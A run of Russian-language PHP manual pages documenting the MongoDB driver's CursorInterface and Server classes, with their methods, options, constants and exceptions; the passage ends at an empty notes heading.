Интерфейс, реализованный MongoDB\Driver\Cursor, но также может использоваться в качестве параметра, возвращаемого значения или типа свойства в классах пользовательского пространства.

Обзор классов

class MongoDB\Driver\CursorInterface implements Traversable {
/* Методы */
abstract public getId(): MongoDB\Driver\CursorId
abstract public getServer(): MongoDB\Driver\Server
abstract public isDead(): bool
abstract public setTypeMap(array $typemap): void
abstract public toArray(): array
}

Список изменений

Версия | Описание
PECL mongodb 1.15.0 | Типы возвращаемых значений для методов объявлены как предварительные в PHP 8.0 и новее, что вызывает уведомления об устаревании в коде, который реализует этот интерфейс без объявления соответствующих типов возвращаемых значений. Атрибут #[ReturnTypeWillChange] может быть добавлен, чтобы заглушить уведомление об устаревании.

Содержание

  • MongoDB\Driver\CursorInterface::getId — Возвращает идентификатор курсора
  • MongoDB\Driver\CursorInterface::getServer — Возвращает сервер, с которым связан курсор
  • MongoDB\Driver\CursorInterface::isDead — Проверить, можно ли ещё получить из курсора результаты
  • MongoDB\Driver\CursorInterface::setTypeMap — Задать сопоставление типов для десериализации BSON
  • MongoDB\Driver\CursorInterface::toArray — Вернуть все результаты для данного курсора в виде массива

User Contributed Notes

There are no user contributed notes for this page.


Возвращает идентификатор курсора

  • « MongoDB\Driver\CursorInterface
  • MongoDB\Driver\CursorInterface::getServer »
  • PHP Manual
  • MongoDB\Driver\CursorInterface
  • Возвращает идентификатор курсора

MongoDB\Driver\CursorInterface::getId

(mongodb >=1.6.0)

MongoDB\Driver\CursorInterface::getId — Возвращает идентификатор курсора

Описание

abstract public MongoDB\Driver\CursorInterface::getId(): MongoDB\Driver\CursorId

Возвращает MongoDB\Driver\CursorId связанный с курсором. Каждый курсор на сервере имеет уникальный идентификатор.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает MongoDB\Driver\CursorId для курсора.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Смотрите также

  • MongoDB\Driver\Cursor::getId() - Возвращает идентификатор для курсора
  • MongoDB\Driver\CursorId
  • MongoDB\Driver\CursorId::__toString() - Строковое представление идентификатора курсора

User Contributed Notes

There are no user contributed notes for this page.


Возвращает сервер, с которым связан курсор

  • « MongoDB\Driver\CursorInterface::getId
  • MongoDB\Driver\CursorInterface::isDead »
  • PHP Manual
  • MongoDB\Driver\CursorInterface
  • Возвращает сервер, с которым связан курсор

MongoDB\Driver\CursorInterface::getServer

(mongodb >=1.6.0)

MongoDB\Driver\CursorInterface::getServer — Возвращает сервер, с которым связан курсор

Описание

abstract public MongoDB\Driver\CursorInterface::getServer(): MongoDB\Driver\Server

Возвращает MongoDB\Driver\Server связанный с курсором. Это тот сервер, на котором запущены MongoDB\Driver\Query или MongoDB\Driver\Command.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает MongoDB\Driver\Server связанный с курсором.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Смотрите также

  • MongoDB\Driver\Cursor::getServer() - Возвращает сервер, связанный с курсором
  • MongoDB\Driver\Server

User Contributed Notes

There are no user contributed notes for this page.


Проверить, можно ли ещё получить из курсора результаты

  • « MongoDB\Driver\CursorInterface::getServer
  • MongoDB\Driver\CursorInterface::setTypeMap »
  • PHP Manual
  • MongoDB\Driver\CursorInterface
  • Проверить, можно ли ещё получить из курсора результаты

MongoDB\Driver\CursorInterface::isDead

(mongodb >=1.6.0)

MongoDB\Driver\CursorInterface::isDead — Проверить, можно ли ещё получить из курсора результаты

Описание

abstract public MongoDB\Driver\CursorInterface::isDead(): bool

Проверяет, можно ли попытаться получить из курсора результаты. Изначально курсор находится в статусе "жив"(alive), но в следующих случаях может перейти в статус "мёртв"(dead):

  • При очередной вычитке не хвостового курсора не был возвращён документ
  • Произошла ошибка
  • Курсор прочитал последний батч до завершения
  • Курсор достиг предустановленного лимита
Это в первую очередь полезно при работе с хвостовыми курсорами.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает true, если запросить очередной результат не получится или false, если он ещё "жив".

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Смотрите также

  • MongoDB\Driver\Cursor::isDead() - Проверяет, исчерпан ли курсор или может содержать дополнительные результаты

User Contributed Notes

There are no user contributed notes for this page.


Задать сопоставление типов для десериализации BSON

  • « MongoDB\Driver\CursorInterface::isDead
  • MongoDB\Driver\CursorInterface::toArray »
  • PHP Manual
  • MongoDB\Driver\CursorInterface
  • Задать сопоставление типов для десериализации BSON

MongoDB\Driver\CursorInterface::setTypeMap

(mongodb >=1.6.0)

MongoDB\Driver\CursorInterface::setTypeMap — Задать сопоставление типов для десериализации BSON

Описание

abstract public MongoDB\Driver\CursorInterface::setTypeMap(array $typemap): void

Задать сопоставление типов для использования при десериализации результатов BSON в значения PHP.

Список параметров

typeMap (array)

Конфигурация карты типов.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Смотрите также

  • MongoDB\Driver\Cursor::setTypeMap() - Устанавливает карту типа для десериализации BSON
  • Постоянные данные

User Contributed Notes

There are no user contributed notes for this page.


Вернуть все результаты для данного курсора в виде массива

  • « MongoDB\Driver\CursorInterface::setTypeMap
  • MongoDB\Driver\Server »
  • PHP Manual
  • MongoDB\Driver\CursorInterface
  • Вернуть все результаты для данного курсора в виде массива

MongoDB\Driver\CursorInterface::toArray

(mongodb >=1.6.0)

MongoDB\Driver\CursorInterface::toArray — Вернуть все результаты для данного курсора в виде массива

Описание

abstract public MongoDB\Driver\CursorInterface::toArray(): array

Итерирует курсор и возвращает результаты в виде массива. Для контроля десериализации в типы PHP можно использовать MongoDB\Driver\CursorInterface::setTypeMap().

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает массив, содержащий все результаты курсора.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Смотрите также

  • MongoDB\Driver\Cursor::toArray() - Возвращает массив, содержащий все результаты курсора
  • MongoDB\Driver\CursorInterface::setTypeMap() - Задать сопоставление типов для десериализации BSON

User Contributed Notes

There are no user contributed notes for this page.


Класс MongoDB\Driver\Server

(mongodb >=1.0.0)

Введение

Обзор классов

final class MongoDB\Driver\Server {
/* Константы */
const int TYPE_UNKNOWN = 0;
const int TYPE_STANDALONE = 1;
const int TYPE_MONGOS = 2;
const int TYPE_POSSIBLE_PRIMARY = 3;
const int TYPE_RS_PRIMARY = 4;
const int TYPE_RS_SECONDARY = 5;
const int TYPE_RS_ARBITER = 6;
const int TYPE_RS_OTHER = 7;
const int TYPE_RS_GHOST = 8;
const int TYPE_LOAD_BALANCER = 9;
/* Методы */
final private __construct()
final public executeBulkWrite(string $namespace, MongoDB\Driver\BulkWrite $bulk, array|MongoDB\Driver\WriteConcern|null $options = null): MongoDB\Driver\WriteResult
final public executeCommand(string $db, MongoDB\Driver\Command $command, array|MongoDB\Driver\ReadPreference|null $options = null): MongoDB\Driver\Cursor
final public executeQuery(string $namespace, MongoDB\Driver\Query $query, array|MongoDB\Driver\ReadPreference|null $options = null): MongoDB\Driver\Cursor
final public executeReadCommand(string $db, MongoDB\Driver\Command $command, ?array $options = null): MongoDB\Driver\Cursor
final public executeReadWriteCommand(string $db, MongoDB\Driver\Command $command, ?array $options = null): MongoDB\Driver\Cursor
final public executeWriteCommand(string $db, MongoDB\Driver\Command $command, ?array $options = null): MongoDB\Driver\Cursor
final public getHost(): string
final public getInfo(): array
final public getLatency(): ?integer
final public getPort(): int
final public getServerDescription(): MongoDB\Driver\ServerDescription
final public getTags(): array
final public getType(): int
final public isArbiter(): bool
final public isHidden(): bool
final public isPassive(): bool
final public isPrimary(): bool
final public isSecondary(): bool
}

Предопределённые константы

MongoDB\Driver\Server::TYPE_UNKNOWN

Неизвестный тип сервера, возвращаемый MongoDB\Driver\Server::getType().

MongoDB\Driver\Server::TYPE_STANDALONE

Автономный тип сервера, возвращаемый MongoDB\Driver\Server::getType().

MongoDB\Driver\Server::TYPE_MONGOS

Тип сервера Mongos, возвращаемый MongoDB\Driver\Server::getType().

MongoDB\Driver\Server::TYPE_POSSIBLE_PRIMARY

Тип набора реплик возможного основного сервера, возвращаемый MongoDB\Driver\Server::getType().

Сервер может быть идентифицирован как возможный основной, если он ещё не был проверен, но другая память набора реплик думает, что он является основным.

MongoDB\Driver\Server::TYPE_RS_PRIMARY

Тип набора реплик основного сервера, возвращаемый MongoDB\Driver\Server::getType().

MongoDB\Driver\Server::TYPE_RS_SECONDARY

Тип набора реплик вторичного сервера, возвращаемый MongoDB\Driver\Server::getType().

MongoDB\Driver\Server::TYPE_RS_ARBITER

Тип набора реплик арбитра сервера, возвращаемый MongoDB\Driver\Server::getType().

MongoDB\Driver\Server::TYPE_RS_OTHER

Другой тип набора реплик сервера, возвращаемый MongoDB\Driver\Server::getType().

Такие серверы могут быть скрыты, запускаются или восстанавливаются. Они не могут быть запрошены, но их списки хостов полезны для обнаружения текущей конфигурации набора реплик.

MongoDB\Driver\Server::TYPE_RS_GHOST

Призрачный тип набора реплик, возвращаемый MongoDB\Driver\Server::getType().

Серверы могут быть идентифицированы как таковые, по крайней мере, в трёх ситуациях: кратко во время запуска сервера; в неинициализированном наборе реплик; или когда сервер держится в стороне (т.е. удаляется из конфигурации набора реплик). Они не могут быть запрошены, и их список хостов не может быть использован для обнаружения текущей конфигурации набора реплик; однако клиент может отслеживать этот сервер в надежде, что он переходит в более полезное состояние.

MongoDB\Driver\Server::TYPE_LOAD_BALANCER

Тип сервера балансировщика нагрузки, возвращаемый MongoDB\Driver\Server::getType().

Список изменений

Версия | Описание
PECL mongodb 1.11.0 | Добавлена константа MongoDB\Driver\Server::TYPE_LOAD_BALANCER.

Содержание

  • MongoDB\Driver\Server::__construct — Создаёт новый Server (не используется)
  • MongoDB\Driver\Server::executeBulkWrite — Выполнить одну или несколько операций записи на сервере
  • MongoDB\Driver\Server::executeCommand — Выполнить команду базы данных на сервере
  • MongoDB\Driver\Server::executeQuery — Выполняет запрос к базе данных на сервере
  • MongoDB\Driver\Server::executeReadCommand — Выполняет команду базы данных, которая читает на сервере
  • MongoDB\Driver\Server::executeReadWriteCommand — Выполняет команду базы данных, которая читает и пишет на сервере
  • MongoDB\Driver\Server::executeWriteCommand — Выполняет команду базы данных, которая пишет на сервере
  • MongoDB\Driver\Server::getHost — Возвращает имя хоста сервера
  • MongoDB\Driver\Server::getInfo — Возвращает массив информации, описывающий сервер
  • MongoDB\Driver\Server::getLatency — Возвращает задержку сервера в миллисекундах
  • MongoDB\Driver\Server::getPort — Возвращает порт, который слушает сервер
  • MongoDB\Driver\Server::getServerDescription — Возвращает ServerDescription сервера
  • MongoDB\Driver\Server::getTags — Возвращает массив тегов, описывающих сервер в наборе реплик
  • MongoDB\Driver\Server::getType — Возвращает целое число, обозначающее тип этого сервера
  • MongoDB\Driver\Server::isArbiter — Проверяет, является ли сервер членом-арбитром в наборе реплик
  • MongoDB\Driver\Server::isHidden — Проверяет, является ли сервер скрытым членом набора реплик
  • MongoDB\Driver\Server::isPassive — Проверяет, является ли сервер пассивным членом набора реплик
  • MongoDB\Driver\Server::isPrimary — Проверяет, является ли сервер основным членом набора реплик
  • MongoDB\Driver\Server::isSecondary — Проверяет, является ли этот сервер второстепенным членом набора реплик

User Contributed Notes

There are no user contributed notes for this page.


Создаёт новый Server (не используется)

  • « MongoDB\Driver\Server
  • MongoDB\Driver\Server::executeBulkWrite »
  • PHP Manual
  • MongoDB\Driver\Server
  • Создаёт новый Server (не используется)

MongoDB\Driver\Server::__construct

(mongodb >=1.0.0)

MongoDB\Driver\Server::__construct — Создаёт новый Server (не используется)

Описание

final private MongoDB\Driver\Server::__construct()

Объекты MongoDB\Driver\Server создаются внутри MongoDB\Driver\Manager, когда соединение с базой данных установлено и могут быть возвращены MongoDB\Driver\Manager::getServers() и MongoDB\Driver\Manager::selectServer().

Список параметров

У этой функции нет параметров.

Смотрите также

  • MongoDB\Driver\Manager::getServers() - Возвращает серверы, к которым подключён менеджер
  • MongoDB\Driver\Manager::selectServer() - Выбрать сервер, соответствующий предпочтениям чтения

User Contributed Notes

There are no user contributed notes for this page.


Выполнить одну или несколько операций записи на сервере

  • « MongoDB\Driver\Server::__construct
  • MongoDB\Driver\Server::executeCommand »
  • PHP Manual
  • MongoDB\Driver\Server
  • Выполнить одну или несколько операций записи на сервере

MongoDB\Driver\Server::executeBulkWrite

(mongodb >=1.0.0)

MongoDB\Driver\Server::executeBulkWrite — Выполнить одну или несколько операций записи на сервере

Описание

final public MongoDB\Driver\Server::executeBulkWrite(string $namespace, MongoDB\Driver\BulkWrite $bulk, array|MongoDB\Driver\WriteConcern|null $options = null): MongoDB\Driver\WriteResult

Выполняет одну или несколько операций записи на сервере.

Объект MongoDB\Driver\BulkWrite может быть создан с одной или несколькими операциями записи различного типа (например, обновления, удаления и вставки). Драйвер попытается отправить операции одного типа на сервер в виде как можно меньшего количества запросов для сокращения обращений к серверу.

Список параметров

namespace (string)

Полностью определённое имя (т.е. "databaseName.collectionName").

bulk (MongoDB\Driver\BulkWrite)

Записи для выполнения.

options

options
Опция Тип Описание
session MongoDB\Driver\Session

Сессия для связывания с операцией.

writeConcern MongoDB\Driver\WriteConcern

Гарантия записи для применения к операции.

Возвращаемые значения

В случае успешного выполнения возвращает MongoDB\Driver\WriteResult.

Ошибки

  • При отсутствии операций записи в bulk выбрасывает MongoDB\Driver\Exception\InvalidArgumentException.
  • Если bulk уже был выполнен, выбрасывает исключение MongoDB\Driver\Exception\InvalidArgumentException. Объекты MongoDB\Driver\BulkWrite не могут быть выполнены несколько раз.
  • Выбрасывается MongoDB\Driver\Exception\InvalidArgumentException, если опция "session" используется в сочетании с неподтверждённой гарантией записи.
  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.
  • При неудачном соединении с сервером (кроме ошибок аутентификации), бросает исключение MongoDB\Driver\Exception\ConnectionException.
  • При неудачной аутентификации бросает исключение MongoDB\Driver\Exception\AuthenticationException.
  • При ошибке записи бросает исключение MongoDB\Driver\Exception\BulkWriteException.
  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.
  • При неудачном соединении с сервером (кроме ошибок аутентификации), бросает исключение MongoDB\Driver\Exception\ConnectionException.
  • При неудачной аутентификации бросает исключение MongoDB\Driver\Exception\AuthenticationException.
  • При возникновении других ошибок выбрасывает MongoDB\Driver\Exception\RuntimeException.

Список изменений

Версия | Описание
PECL mongodb 1.4.4 | Если опция "session" используется в сочетании с неподтверждённой гарантией записи, выбрасывается исключение MongoDB\Driver\Exception\InvalidArgumentException.
PECL mongodb 1.4.0 | Третий параметр теперь представляет собой массив options. Для обратной совместимости этот параметр всё равно примет объект MongoDB\Driver\ReadPreference.
PECL mongodb 1.3.0 | Если bulk не содержит операций записи, выбрасывается MongoDB\Driver\Exception\InvalidArgumentException. Ранее выбрасывалось MongoDB\Driver\Exception\BulkWriteException.

Примечания

Замечание: Ответственность вызывающего кода заключается в том, что сервер в состоянии выполнять операцию записи. Например, выполнение операции записи на вторичном узле (исключая "локальную" базу данных) завершится неудачей.

Смотрите также

  • MongoDB\Driver\BulkWrite
  • MongoDB\Driver\WriteResult
  • MongoDB\Driver\WriteConcern
  • MongoDB\Driver\Manager::executeBulkWrite() - Выполняет одну или несколько операций записи

User Contributed Notes

There are no user contributed notes for this page.


Выполнить команду базы данных на сервере

  • « MongoDB\Driver\Server::executeBulkWrite
  • MongoDB\Driver\Server::executeQuery »
  • PHP Manual
  • MongoDB\Driver\Server
  • Выполнить команду базы данных на сервере

MongoDB\Driver\Server::executeCommand

(mongodb >=1.0.0)

MongoDB\Driver\Server::executeCommand — Выполнить команду базы данных на сервере

Описание

final public MongoDB\Driver\Server::executeCommand(string $db, MongoDB\Driver\Command $command, array|MongoDB\Driver\ReadPreference|null $options = null): MongoDB\Driver\Cursor

Выполняет команду на сервере.

Этот метод не применяет особую логику к команде. Хотя этот метод принимает "readConcern" и "writeConcern", которые будут включены в документы коанды, эти опции не будут соответствовать значениям по умолчанию из MongoDB URI соединения , и не будет учитываться версия сервера MongoDB. Поэтому пользователям рекомендуется использовать конкретные методы команды чтения и/или записи если это возможно.

Замечание: Опция "readPreference" не контролирует сервер, к которому драйвер выполняет операцию; она всегда будет выполняться на этом объекте сервера. Вместо этого, он может быть использован при выполнении операции на втором узле (из набора реплик, не автономный) или на узле mongos для обеспечения того, что драйвер устанавливает проводной протокол соответствующим образом или добавляет предпочтение чтения к операции, соответственно.

Список параметров

db (string)

Имя базы данных, в которой запускается команда.

command (MongoDB\Driver\Command)

Команда для выполнения.

options

options
Опция Тип Описание
readConcern MongoDB\Driver\ReadConcern

Гарантия чтения для применения к операции.

Эта опция доступна в MongoDB 3.2+ и приведёт к исключению во время выполнения, если указана для более старой версии сервера.

readPreference MongoDB\Driver\ReadPreference

Предпочтение чтения, используемая для выбора сервера для выполнения операции.

session MongoDB\Driver\Session

Сессия для связывания с операцией.

writeConcern MongoDB\Driver\WriteConcern

Гарантия записи для применения к операции.

Внимание

При использовании "session" и наличии незавершённых транзакций, вы не можете указать "readConcern" or "writeConcern" option. Это приведёт к выбрасыванию исключения MongoDB\Driver\Exception\InvalidArgumentException. Вместо этого вы должны установить эти две опции при создании транзакции с помощью MongoDB\Driver\Session::startTransaction().

Возвращаемые значения

В случае успешного выполнения возвращает MongoDB\Driver\Cursor.

Ошибки

  • Выбрасывается MongoDB\Driver\Exception\InvalidArgumentException, если опция "session" используется с соответствующей транзакцией в сочетании с опцией "readConcern" или "writeConcern".
  • Выбрасывается MongoDB\Driver\Exception\InvalidArgumentException, если опция "session" используется в сочетании с неподтверждённой гарантией записи.
  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.
  • При неудачном соединении с сервером (кроме ошибок аутентификации), бросает исключение MongoDB\Driver\Exception\ConnectionException.
  • При неудачной аутентификации бросает исключение MongoDB\Driver\Exception\AuthenticationException.
  • Выбрасывает исключение MongoDB\Driver\Exception\RuntimeException в случае возникновения других ошибок (например, неверная команда, выдача команды записи на вторичное устройство).

Список изменений

Версия | Описание
PECL mongodb 1.4.4 | Если опция "session" используется в сочетании с неподтверждённой гарантией записи, выбрасывается исключение MongoDB\Driver\Exception\InvalidArgumentException.
PECL mongodb 1.4.0 | Третий параметр теперь представляет собой массив options. Для обратной совместимости этот параметр всё равно примет объект MongoDB\Driver\ReadPreference.

Примечания

Замечание: Ответственность вызывающего кода заключается в том, что сервер в состоянии выполнять операцию записи. Например, выполнение операции записи на вторичном узле (исключая "локальную" базу данных) завершится неудачей.

Смотрите также

  • MongoDB\Driver\Command
  • MongoDB\Driver\Cursor
  • MongoDB\Driver\Server::executeReadCommand() - Выполняет команду базы данных, которая читает на сервере
  • MongoDB\Driver\Server::executeReadWriteCommand() - Выполняет команду базы данных, которая читает и пишет на сервере
  • MongoDB\Driver\Server::executeWriteCommand() - Выполняет команду базы данных, которая пишет на сервере
  • MongoDB\Driver\Manager::executeCommand() - Выполняет команду базы данных

User Contributed Notes

There are no user contributed notes for this page.


Выполняет запрос к базе данных на сервере

  • « MongoDB\Driver\Server::executeCommand
  • MongoDB\Driver\Server::executeReadCommand »
  • PHP Manual
  • MongoDB\Driver\Server
  • Выполняет запрос к базе данных на сервере

MongoDB\Driver\Server::executeQuery

(mongodb >=1.0.0)

MongoDB\Driver\Server::executeQuery — Выполняет запрос к базе данных на сервере

Описание

final public MongoDB\Driver\Server::executeQuery(string $namespace, MongoDB\Driver\Query $query, array|MongoDB\Driver\ReadPreference|null $options = null): MongoDB\Driver\Cursor

Выполняет запрос на сервере.

Замечание: Опция "readPreference" не управляет сервером, которому драйвер выполняет операцию; он всегда будет выполняться на этом объекте сервера. Вместо этого его можно использовать при выдаче операции на вторичном сервере (из соединения с репликой, а не автономном) или узел mongos, чтобы гарантировать, что драйвер соответственно устанавливает проводной протокол или добавляет предпочтения чтения к операции, соответственно.

Список параметров

namespace (string)

Полностью определённое имя (т.е. "databaseName.collectionName").

query (MongoDB\Driver\Query)

Запрос для выполнения.

options

options
Опция Тип Описание
readPreference MongoDB\Driver\ReadPreference

Предпочтение чтения, используемая для выбора сервера для выполнения операции.

session MongoDB\Driver\Session

Сессия для связывания с операцией.

Возвращаемые значения

В случае успешного выполнения возвращает MongoDB\Driver\Cursor.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.
  • При неудачном соединении с сервером (кроме ошибок аутентификации), бросает исключение MongoDB\Driver\Exception\ConnectionException.
  • При неудачной аутентификации бросает исключение MongoDB\Driver\Exception\AuthenticationException.
  • Выдаёт исключение MongoDB\Driver\Exception\RuntimeException на другие ошибки (например, недопустимые операторы запросов).

Список изменений

Версия | Описание
PECL mongodb 1.4.0 | Третий параметр теперь является массивом options. Для обратной совместимости этот параметр будет по-прежнему принимать объект MongoDB\Driver\ReadPreference.

Смотрите также

  • MongoDB\Driver\Cursor
  • MongoDB\Driver\Query
  • MongoDB\Driver\ReadPreference
  • MongoDB\Driver\Manager::executeQuery() - Выполняет запрос к базе данных

User Contributed Notes

There are no user contributed notes for this page.


Выполняет команду базы данных, которая читает на сервере

  • « MongoDB\Driver\Server::executeQuery
  • MongoDB\Driver\Server::executeReadWriteCommand »
  • PHP Manual
  • MongoDB\Driver\Server
  • Выполняет команду базы данных, которая читает на сервере

MongoDB\Driver\Server::executeReadCommand

(mongodb >=1.4.0)

MongoDB\Driver\Server::executeReadCommand — Выполняет команду базы данных, которая читает на сервере

Описание

final public MongoDB\Driver\Server::executeReadCommand(string $db, MongoDB\Driver\Command $command, ?array $options = null): MongoDB\Driver\Cursor

Выполняет команду на этом сервере.

Этот метод будет применять логику, специфичную для команд, которые читают (например, » count) и учитывают версию сервера MongoDB. Опция "readConcern" будет по умолчанию соответствовать соответствующему значению из URI подключения MongoDB.

Замечание: Опция "readPreference" не контролирует сервер, к которому драйвер выполняет операцию; она всегда будет выполняться на этом объекте сервера. Вместо этого, он может быть использован при выполнении операции на втором узле (из набора реплик, не автономный) или на узле mongos для обеспечения того, что драйвер устанавливает проводной протокол соответствующим образом или добавляет предпочтение чтения к операции, соответственно.

Список параметров

db (string)

Имя базы данных, в которой запускается команда.

command (MongoDB\Driver\Command)

Команда для выполнения.

options

options
Опция Тип Описание
readConcern MongoDB\Driver\ReadConcern

Гарантия чтения для применения к операции.

Эта опция доступна в MongoDB 3.2+ и приведёт к исключению во время выполнения, если указана для более старой версии сервера.

readPreference MongoDB\Driver\ReadPreference

Предпочтение чтения, используемая для выбора сервера для выполнения операции.

session MongoDB\Driver\Session

Сессия для связывания с операцией.

Внимание

При использовании "session" и наличии незавершённых транзакций, вы не можете указать "readConcern" or "writeConcern" option. Это приведёт к выбрасыванию исключения MongoDB\Driver\Exception\InvalidArgumentException. Вместо этого вы должны установить эти две опции при создании транзакции с помощью MongoDB\Driver\Session::startTransaction().

Возвращаемые значения

В случае успешного выполнения возвращает MongoDB\Driver\Cursor.

Ошибки

  • Выбрасывается MongoDB\Driver\Exception\InvalidArgumentException, если опция "session" используется с соответствующей транзакцией в сочетании с опцией "readConcern" или "writeConcern".
  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.
  • При неудачном соединении с сервером (кроме ошибок аутентификации), бросает исключение MongoDB\Driver\Exception\ConnectionException.
  • При неудачной аутентификации бросает исключение MongoDB\Driver\Exception\AuthenticationException.
  • Выдаёт исключение MongoDB\Driver\Exception\RuntimeException на другие ошибки (например, неверная команда ).

Смотрите также

  • MongoDB\Driver\Command
  • MongoDB\Driver\Cursor
  • MongoDB\Driver\Server::executeCommand() - Выполнить команду базы данных на сервере
  • MongoDB\Driver\Server::executeReadWriteCommand() - Выполняет команду базы данных, которая читает и пишет на сервере
  • MongoDB\Driver\Server::executeWriteCommand() - Выполняет команду базы данных, которая пишет на сервере
  • MongoDB\Driver\Manager::executeReadCommand() - Выполняет команду базы данных, которая читает

User Contributed Notes

There are no user contributed notes for this page.


Выполняет команду базы данных, которая читает и пишет на сервере

  • « MongoDB\Driver\Server::executeReadCommand
  • MongoDB\Driver\Server::executeWriteCommand »
  • PHP Manual
  • MongoDB\Driver\Server
  • Выполняет команду базы данных, которая читает и пишет на сервере

MongoDB\Driver\Server::executeReadWriteCommand

(mongodb >=1.4.0)

MongoDB\Driver\Server::executeReadWriteCommand — Выполняет команду базы данных, которая читает и пишет на сервере

Описание

final public MongoDB\Driver\Server::executeReadWriteCommand(string $db, MongoDB\Driver\Command $command, ?array $options = null): MongoDB\Driver\Cursor

Выполняет команду на сервере.

Этот метод будет применять логику, специфичную для команд, которые читают и пишут (например, » aggregate) и учитывают версию сервера MongoDB. Параметры "readConcern" и "writeConcern" по умолчанию соответствуют соответствующим значениям из URI подключения MongoDB.

Список параметров

db (string)

Имя базы данных, в которой запускается команда.

command (MongoDB\Driver\Command)

Команда для выполнения.

options

options
Опция Тип Описание
readConcern MongoDB\Driver\ReadConcern

Гарантия чтения для применения к операции.

Эта опция доступна в MongoDB 3.2+ и приведёт к исключению во время выполнения, если указана для более старой версии сервера.

session MongoDB\Driver\Session

Сессия для связывания с операцией.

writeConcern MongoDB\Driver\WriteConcern

Гарантия записи для применения к операции.

Внимание

При использовании "session" и наличии незавершённых транзакций, вы не можете указать "readConcern" or "writeConcern" option. Это приведёт к выбрасыванию исключения MongoDB\Driver\Exception\InvalidArgumentException. Вместо этого вы должны установить эти две опции при создании транзакции с помощью MongoDB\Driver\Session::startTransaction().

Возвращаемые значения

В случае успешного выполнения возвращает MongoDB\Driver\Cursor.

Ошибки

  • Выбрасывается MongoDB\Driver\Exception\InvalidArgumentException, если опция "session" используется с соответствующей транзакцией в сочетании с опцией "readConcern" или "writeConcern".
  • Выбрасывается MongoDB\Driver\Exception\InvalidArgumentException, если опция "session" используется в сочетании с неподтверждённой гарантией записи.
  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.
  • При неудачном соединении с сервером (кроме ошибок аутентификации), бросает исключение MongoDB\Driver\Exception\ConnectionException.
  • При неудачной аутентификации бросает исключение MongoDB\Driver\Exception\AuthenticationException.
  • Выдаёт исключение MongoDB\Driver\Exception\RuntimeException на другие ошибки (например, неверная команда).

Список изменений

Версия | Описание
PECL mongodb 1.4.4 | MongoDB\Driver\Exception\InvalidArgumentException будет выброшено, если опция "session" используется в сочетании с неподтверждённой записью.

Примечания

Замечание: Ответственность вызывающего кода заключается в том, что сервер в состоянии выполнять операцию записи. Например, выполнение операции записи на вторичном узле (исключая "локальную" базу данных) завершится неудачей.

Смотрите также

  • MongoDB\Driver\Command
  • MongoDB\Driver\Cursor
  • MongoDB\Driver\Server::executeCommand() - Выполнить команду базы данных на сервере
  • MongoDB\Driver\Server::executeReadCommand() - Выполняет команду базы данных, которая читает на сервере
  • MongoDB\Driver\Server::executeWriteCommand() - Выполняет команду базы данных, которая пишет на сервере
  • MongoDB\Driver\Manager::executeReadWriteCommand() - Выполняет команду базы данных, которая читает и пишет

User Contributed Notes

There are no user contributed notes for this page.


Выполняет команду базы данных, которая пишет на сервере

  • « MongoDB\Driver\Server::executeReadWriteCommand
  • MongoDB\Driver\Server::getHost »
  • PHP Manual
  • MongoDB\Driver\Server
  • Выполняет команду базы данных, которая пишет на сервере

MongoDB\Driver\Server::executeWriteCommand

(mongodb >=1.4.0)

MongoDB\Driver\Server::executeWriteCommand — Выполняет команду базы данных, которая пишет на сервере

Описание

final public MongoDB\Driver\Server::executeWriteCommand(string $db, MongoDB\Driver\Command $command, ?array $options = null): MongoDB\Driver\Cursor

Выполняет команду на этом сервере.

Этот метод будет применять логику, специфичную для команд, которые пишут (например, » drop) и учитывают версию сервера MongoDB. Опция "writeConcern" по умолчанию будет соответствовать соответствующему значению из URI подключения MongoDB.

Замечание: Метод не предназначен для выполнения » insert, » update, или » delete команд. Пользователям рекомендуется использовать MongoDB\Driver\Manager::executeBulkWrite() для этих команд.

Список параметров

db (string)

Имя базы данных, в которой запускается команда.

command (MongoDB\Driver\Command)

Команда для выполнения.

options

options
Опция Тип Описание
session MongoDB\Driver\Session

Сессия для связывания с операцией.

writeConcern MongoDB\Driver\WriteConcern

Гарантия записи для применения к операции.

Внимание

При использовании "session" и наличии незавершённых транзакций, вы не можете указать "readConcern" or "writeConcern" option. Это приведёт к выбрасыванию исключения MongoDB\Driver\Exception\InvalidArgumentException. Вместо этого вы должны установить эти две опции при создании транзакции с помощью MongoDB\Driver\Session::startTransaction().

Возвращаемые значения

В случае успешного выполнения возвращает MongoDB\Driver\Cursor.

Ошибки

  • Выбрасывается MongoDB\Driver\Exception\InvalidArgumentException, если опция "session" используется с соответствующей транзакцией в сочетании с опцией "readConcern" или "writeConcern".
  • Выбрасывается MongoDB\Driver\Exception\InvalidArgumentException, если опция "session" используется в сочетании с неподтверждённой гарантией записи.
  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.
  • При неудачном соединении с сервером (кроме ошибок аутентификации), бросает исключение MongoDB\Driver\Exception\ConnectionException.
  • При неудачной аутентификации бросает исключение MongoDB\Driver\Exception\AuthenticationException.
  • Выбрасывает исключение MongoDB\Driver\Exception\RuntimeException на другие ошибки (например, неверная команда).

Список изменений

Версия | Описание
PECL mongodb 1.4.4 | Будет выброшено MongoDB\Driver\Exception\InvalidArgumentException, если опция "session" используется в сочетании с неподтверждённой записью.

Примечания

